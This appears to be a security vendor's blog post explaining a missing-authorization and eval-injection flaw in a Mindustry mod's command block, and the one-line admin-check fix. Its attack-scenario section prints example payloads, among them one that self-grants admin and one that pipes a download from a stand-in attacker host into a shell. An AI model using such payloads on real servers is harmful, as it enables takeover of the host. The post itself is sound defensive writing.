Back to Blog
critical SEVERITY11 min read

How missing authorization and code injection happen in Mindustry JavaScript mods and how to fix it

A `TapEvent` handler in `scripts/CommandBlock.js` exposed a full administrative command palette — including a `run-javascript` command that piped player-supplied text straight into `new Function(text)()` — behind nothing more than a team-membership check. Any player who happened to share a team with the block could execute arbitrary JavaScript (and, through Rhino's Java bridge, arbitrary host code) inside the game runtime. The fix adds an explicit `if (!e.player.admin) return;` guard at the top

O
By Orbis AppSec
Published August 31, 2026Reviewed August 31, 2026

Answer Summary

This is a missing-authorization flaw (CWE-862) that chains into JavaScript code injection (CWE-94/CWE-95) in a Mindustry mod script, `scripts/CommandBlock.js`. The `EventType.TapEvent` handler validated only that the tapping player's team matched the block's team before dispatching privileged commands such as `clear-all-units`, `change-team`, `fill-core`, and `run-javascript`, the last of which evaluated raw `showTextInput` text via `new Function(text)()`. The fix is to enforce a real privilege check — `if (!e.player.admin) return;` — before any command is parsed or executed, so only server admins can reach the dispatcher; the stronger long-term fix is to remove the `new Function()` sink entirely and replace it with a fixed allowlist of named commands.

Vulnerability at a Glance

cweCWE-862 (Missing Authorization), chained with CWE-94/CWE-95 (Code Injection / eval Injection)
fixAdd `if (!e.player.admin) return;` as the first gate in the `EventType.TapEvent` handler in `scripts/CommandBlock.js`
riskAny same-team player could execute arbitrary JavaScript in the game runtime, reaching `Vars`, `Core`, `Groups`, and Java packages — full server compromise
languageJavaScript (Mindustry mod scripting / Rhino)
root causeThe `TapEvent` handler treated team membership as an authorization decision and never checked `player.admin` before dispatching commands like `run-javascript`
vulnerabilityMissing authorization on privileged commands chaining into JavaScript code injection

Answer Summary

This is a missing-authorization flaw (CWE-862) that chains into JavaScript code injection (CWE-94/CWE-95) in a Mindustry mod script, scripts/CommandBlock.js. The EventType.TapEvent handler validated only that the tapping player's team matched the block's team before dispatching privileged commands such as clear-all-units, change-team, fill-core, and run-javascript, the last of which evaluated raw showTextInput text via new Function(text)(). The fix is to enforce a real privilege check — if (!e.player.admin) return; — before any command is parsed or executed, so only server admins can reach the dispatcher; the stronger long-term fix is to remove the new Function() sink entirely and replace it with a fixed allowlist of named commands.


Vulnerability at a Glance

Field Value
Vulnerability Missing authorization on privileged commands → JavaScript code injection
CWE CWE-862, CWE-94, CWE-95
Severity Critical
File scripts/CommandBlock.js (handler starts at line 4)
Language JavaScript (Mindustry mod scripting, Rhino engine)
Root cause Team membership used as an authorization decision
Fix if (!e.player.admin) return; before command dispatch

Introduction

The scripts/CommandBlock.js file implements a mod-provided "command block": tap a block on the map, get a menu, and run an administrative action against the running game. It supports things like clear-all-units, change-team, spawn-unit, toggling game rules, fill-core, and — most dangerously — run-javascript, which prompts the player for text with Vars.ui.showTextInput(...) and then evaluates it with new Function(text)().

The problem was not the existence of these commands. Admin tooling is legitimate. The problem was the gate in front of them. Here is the entire access-control logic that existed before the fix, at the top of the EventType.TapEvent handler:

Events.on(EventType.TapEvent, e => {
    try {
        if (!e || !e.tile || !e.player || !e.player.team()) return;

        const tile = e.tile;
        const player = e.player;
        // ...later: if (tile.team() != player.team()) return;
        // ...then: switch on the selected command

That first line is a null check, not an authorization check. !e.player.team() asks "does this player have a team?" — which is true for essentially every connected player. The only other filter, further down, is tile.team() != player.team(), which asks "is this player on the same team as the block?" Neither question is "is this player allowed to reconfigure the server and execute code?"

If you write mod scripts, plugins, Discord bots, admin panels, or any event-driven handler that performs privileged actions, this is the exact failure mode to internalize: presence is not permission.

The Vulnerability Explained

The sink: new Function(text)()

Reconstructing the relevant branch of the dispatcher, the run-javascript command looked structurally like this:

// scripts/CommandBlock.js — vulnerable pattern
case "run-javascript":
    Vars.ui.showTextInput("Run JavaScript", "Code", 500, lastCommand, text => {
        lastCommand = text;
        new Function(text)();   // <-- arbitrary player-supplied code, executed
    });
    break;

new Function(text)() is eval wearing a hat. It compiles the string text into a callable and invokes it immediately, in the mod's own runtime context. In Mindustry, that context is not a sandbox — the script scope has direct handles to:

  • Vars — the entire game state singleton, including Vars.netServer, Vars.netServer.admins, Vars.state, Vars.world, Vars.player
  • CoreCore.settings (persisted configuration on disk), Core.app, Core.files
  • Groups — every live entity: Groups.player, Groups.unit, Groups.build
  • Rhino's Java bridgePackages.java.*, meaning Packages.java.lang.Runtime, java.io.File, and friends

The chain: two steps to full compromise

The PR classifies this as a 2-step chain, and that is exactly right:

  1. Step 1 — Authorization bypass. An attacker joins the server as an ordinary, non-admin player. On the vast majority of public Mindustry servers, players either pick a team or are auto-assigned to the dominant one. Satisfying tile.team() == player.team() costs the attacker nothing — often it is satisfied by default the moment they spawn. The !e.player.team() null check is passed automatically.
  2. Step 2 — Code injection. The attacker taps the command block, selects run-javascript, and types whatever they want into the showTextInput dialog. new Function(text)() runs it.

A concrete attack scenario

Suppose an attacker joins a public survival server that runs this mod. They tap the command block and enter:

// Step 2 payload — typed into the run-javascript showTextInput dialog
Vars.netServer.admins.adminPlayer(Vars.player.uuid(), Vars.player.usid());

They are now a permanent admin, persisted into the server's admin database — the compromise survives a restart, and every other admin-gated feature on the server is now open to them.

Or, if griefing is the goal:

Groups.player.each(p => Vars.netServer.kick(p.con, "bye"));
Vars.state.rules.infiniteResources = true;
Core.settings.clear();

Or, escalating out of the game entirely via Rhino's Java access:

Packages.java.lang.Runtime.getRuntime().exec(["sh","-c","curl attacker.tld/x.sh | sh"]);

That last payload is why the severity is critical rather than "annoying griefing." The blast radius is not the map — it is the machine hosting the server, its filesystem, its credentials, and anything reachable from its network.

Why the team check was never a control

It is worth being explicit about the design mistake. tile.team() and player.team() are gameplay attributes. They describe alliance in a match, not trust in the operator sense. They are:

  • Attacker-influenceable (team selection, auto-assign, team-change events)
  • Non-identity-bound (nothing ties a team to a verified account)
  • Mutable mid-game — ironically, this very command block exposed a change-team command

Using a mutable, attacker-influenceable gameplay attribute as an authorization predicate is the textbook shape of CWE-862.

The Fix

The patch adds one line — but it is the line that establishes the trust boundary, and it is placed before any tile or command data is even read.

Before:

var lastCommand = "";

Events.on(EventType.TapEvent, e => {
    try {
        if (!e || !e.tile || !e.player || !e.player.team()) return;

        const tile = e.tile;
        const player = e.player;

After:

var lastCommand = "";

Events.on(EventType.TapEvent, e => {
    try {
        if (!e || !e.tile || !e.player || !e.player.team()) return;
        if (!e.player.admin) return;

        const tile = e.tile;
        const player = e.player;

Why this specific change works

  • It gates the dispatcher, not individual commands. Rather than sprinkling checks into the run-javascript, change-team, and fill-core branches — where one forgotten branch reintroduces the bug — the guard sits at the single entry point of the EventType.TapEvent handler. Every command in the switch is now unreachable for non-admins, including any command added later.
  • It runs before parsing. The check precedes const tile = e.tile; and the entire command-selection flow. That means non-admin taps never touch the parsing logic, never open the showTextInput dialog, and never reach new Function. The attacker's Step 1 now fails, which kills Step 2 by construction.
  • It uses an identity-backed flag. player.admin in Mindustry is backed by Vars.netServer.admins, which is keyed to a player's UUID and USID — a real identity record maintained by the server operator — not a gameplay attribute the player can flip at will.
  • It preserves legitimate behavior. Admins tapping a command block get exactly the same menu and exactly the same commands as before. The PR's behavior-preservation note holds: only untrusted input paths are tightened.

Ordering matters

Note that the new guard is placed after the null checks. That is deliberate and correct: e.player.admin would throw if e.player were null, and in a TapEvent handler an exception per tap is its own denial-of-service. Null-safety first, authorization second, business logic third.

What the fix does not do (and what to do next)

This patch closes the exploitable path, and that is the right immediate action. But new Function(text)() is still present in the file, now reachable by admins. Defense in depth suggests two follow-ups:

// Better: replace the free-form eval sink with an allowlist dispatcher
const COMMANDS = {
    "clear-all-units": () => Groups.unit.each(u => u.remove()),
    "fill-core":       () => fillCore(tile),
    // no "run-javascript" entry at all
};

const handler = COMMANDS[selected];
if (!handler) return;   // unknown command → no execution, no eval
handler();
  1. Delete run-javascript from the in-game UI. Arbitrary code execution belongs on the server console (where access is already governed by shell/OS permissions), not behind a tappable block on a live map. If it must exist, gate it behind a separate, explicitly opted-in flag and log every invocation with the invoking UUID.
  2. Audit-log privileged commands. Even admin actions should be attributable: record player.uuid(), the command name, and the arguments so that a compromised admin account leaves a trail.

Prevention & Best Practices

Distinguish identity, context, and permission. Three different questions get conflated constantly:

  • Does this object exist?!e.player (null safety)
  • Where is this actor in the world?tile.team() == player.team() (gameplay/context)
  • Is this actor allowed to do this?player.admin (authorization)

Only the third one is a security control. In CommandBlock.js, the first two were present and the third was missing.

Check authorization at the entry point, not per-branch. A switch with six privileged cases is six chances to forget a check. One guard at the top of the handler is one thing to review and one thing to test.

Treat eval / new Function as an unfixable sink. No amount of string filtering makes new Function(userText)() safe — JavaScript has too many ways to construct equivalent code (String.fromCharCode, template literals, property access chains, Rhino's Packages). The only reliable mitigation is to not build code from untrusted strings. Prefer a lookup table of named operations with typed parameters.

Remember that game mod runtimes are not sandboxes. Mindustry's Rhino scope reaches Java classes. A "just a game script" injection is a host-level RCE. The PR's threat-model note ("exploitation requires the user to load a crafted ROM, save file, or game asset") understates it for the multiplayer case: here the attacker only has to join a server that already loaded the mod.

Detection techniques:

  • Grep your mod and plugin sources for the sinks: eval(, new Function(, setTimeout(", Packages.java.lang.Runtime
  • Grep for the anti-pattern gate: any handler that performs state mutation whose only precondition is a team, room, channel, or lobby comparison
  • Run a dataflow scanner (Semgrep, CodeQL) with rules targeting new Function from user-controlled sources
  • Write a negative test: simulate a TapEvent from a non-admin player and assert that no command executes

Standards references: OWASP Top 10 A01:2021 Broken Access Control and A03:2021 Injection; CWE-862 Missing Authorization; CWE-95 Eval Injection; ASVS V4 (Access Control) requirement that access control decisions be enforced server-side on a trusted, non-user-modifiable attribute.

Key Takeaways

  • if (!e.player.team()) return; in CommandBlock.js was a null check masquerading as an access-control check — it passes for every connected player and authorizes nothing.
  • Team membership (tile.team() == player.team()) is not an authorization primitive in Mindustry, especially in a command block that itself exposes a change-team command.
  • new Function(text)() fed by Vars.ui.showTextInput gave any same-team player a live JavaScript console with reach into Vars, Core, Groups, and — via Rhino — Packages.java.lang.Runtime.
  • The fix, if (!e.player.admin) return;, is placed after the null checks and before const tile = e.tile; so that non-admin taps never reach the command dispatcher, the showTextInput prompt, or the eval sink.
  • Closing the authorization gap is necessary but not sufficient: run-javascript should be removed from the in-game palette entirely and replaced with a fixed allowlist of named commands.

How Orbis AppSec Detected This

  • Source: Player-controlled text from Vars.ui.showTextInput(...) in the run-javascript branch, reached by an unauthenticated EventType.TapEvent from any connected non-admin player.
  • Sink: new Function(text)() in the run-javascript command handler in scripts/CommandBlock.js (handler registered at line 4), plus the privileged state-mutating commands clear-all-units, change-team, spawn-unit, fill-core, and the game-rule toggles.
  • Missing control: No privilege verification before command dispatch. The handler's only preconditions were a null check (!e.player.team()) and a gameplay team comparison (tile.team() == player.team()) — neither of which is identity-backed or resistant to attacker influence. player.admin / Vars.netServer.admins was never consulted.
  • CWE: CWE-862 (Missing Authorization), chaining into CWE-94 (Improper Control of Generation of Code) and CWE-95 (Eval Injection); parent CWE-284 (Improper Access Control).
  • Fix: Added if (!e.player.admin) return; as the first authorization gate in the EventType.TapEvent handler so non-admin players never reach command parsing or the new Function sink.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The bug in scripts/CommandBlock.js is a great teaching example because the code looked defended. There were guard clauses. There was a comparison. There was even a null check on e.player.team(). What was absent was the only question that mattered: is this player an admin? Without it, a gameplay attribute became the sole barrier between an anonymous player and new Function(text)() — and through Rhino's Java bridge, the server host itself.

The one-line fix, if (!e.player.admin) return;, placed at the top of the `T

Frequently Asked Questions

What is missing authorization?

Missing authorization (CWE-862) is when code performs a privileged action after confirming *who* or *where* someone is, but never confirming that they are *allowed* to perform it. In `CommandBlock.js`, the handler confirmed the player's team matched the block's team, then happily executed admin-only commands.

How do you prevent missing authorization and code injection in JavaScript?

Put the privilege check before any command parsing (`if (!e.player.admin) return;`), and never route untrusted strings into `eval`, `new Function()`, `setTimeout("string")`, or `vm.runInNewContext()`. Replace free-form code input with a fixed allowlist of named commands and typed, validated arguments.

What CWE is this vulnerability?

The access-control failure is CWE-862 (Missing Authorization); the resulting `new Function(text)()` execution is CWE-94 (Improper Control of Generation of Code) and specifically CWE-95 (Eval Injection). CWE-284 (Improper Access Control) is the parent category.

Is a team-membership check enough to prevent this?

No. Team membership is a gameplay attribute, not a trust boundary — on most public Mindustry servers players choose or are auto-assigned a team, so `tile.team() == player.team()` is trivially satisfied. Only an identity-backed privilege flag such as `player.admin` (backed by `Vars.netServer.admins`) is an authorization control.

Can static analysis detect this?

Yes for the sink — dataflow scanners reliably flag `new Function(userInput)()` and `eval(userInput)`. The missing-authorization half is harder and usually needs semantic or multi-agent analysis that understands which handlers are privileged, which is how this issue was surfaced here.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #21

Related Articles

critical

How Broken Object-Level Authorization happens in Express.js and how to fix it

A critical authorization flaw in `src/v1/routes/index.js` allowed any authenticated API key holder to access arbitrary budgets by manipulating the `budgetSyncId` URL parameter. The fix introduces an environment-based allowlist that validates budget access before processing requests.

high

How Missing Rate Limiting Enables Denial of Service Attacks in Node.js and How to Fix It

The k-skill-proxy server exposed multiple public API endpoints (`/health`, `/v1/vworld/search`, `/v1/fine-dust/report`, `/v1/assembly/bills`) without consistent rate limiting middleware, leaving them vulnerable to denial-of-service attacks. A `buildRateLimiter` function existed but wasn't applied to all endpoints. This fix ensures rate limiting is enforced on all public endpoints, preventing resource exhaustion attacks.

high

How Sandboxed Iframe Popup Restriction Bypass happens in Electron and how to fix it

A high-severity flaw in Electron (CVE-2026-70608) allowed sandboxed iframes to bypass the `allow-popups` sandbox restriction through the internal OpenURL navigation path, letting malicious or compromised embedded content spawn unauthorized popup windows. The fix upgrades Electron from 40.10.6 to 41.10.3 (also patched in 42.0.1 and 39.8.10), closing the navigation-layer gap without requiring any application code changes.

critical

How Missing Authentication on DELETE Endpoints Happens in Python aiohttp and How to Fix It

A critical missing authentication vulnerability in `pz_minimax.py` allowed any network-connected user to delete stored MiniMax prompts via the `DELETE /pz_easyuse/minimax-prompts/{index}` endpoint without any access control. An attacker could enumerate sequential indices to wipe all user-created prompts from the shared JSON file. The fix restricts the DELETE endpoint to localhost-only requests by checking `request.remote` against loopback addresses.

critical

How Information Disclosure Vulnerabilities Happen in Python APIs and How to Fix It

A critical information disclosure vulnerability in the Hermes plugin dashboard API was exposing sensitive filesystem paths, credential file locations, and configuration details without authentication. The fix redacts this sensitive information from API responses, replacing absolute paths with boolean status indicators to prevent attackers from locating and targeting credential files.

critical

How Missing Authentication on DELETE Endpoints Happens in Node.js Express and How to Fix It

A critical authentication bypass vulnerability was discovered in the skill-cabinet server where the DELETE /api/skills/:id endpoint allowed any unauthenticated user to delete arbitrary skills from the filesystem. The fix implements loopback origin validation to ensure only requests from localhost can perform destructive operations, while also consolidating delete functionality into a single, protected endpoint.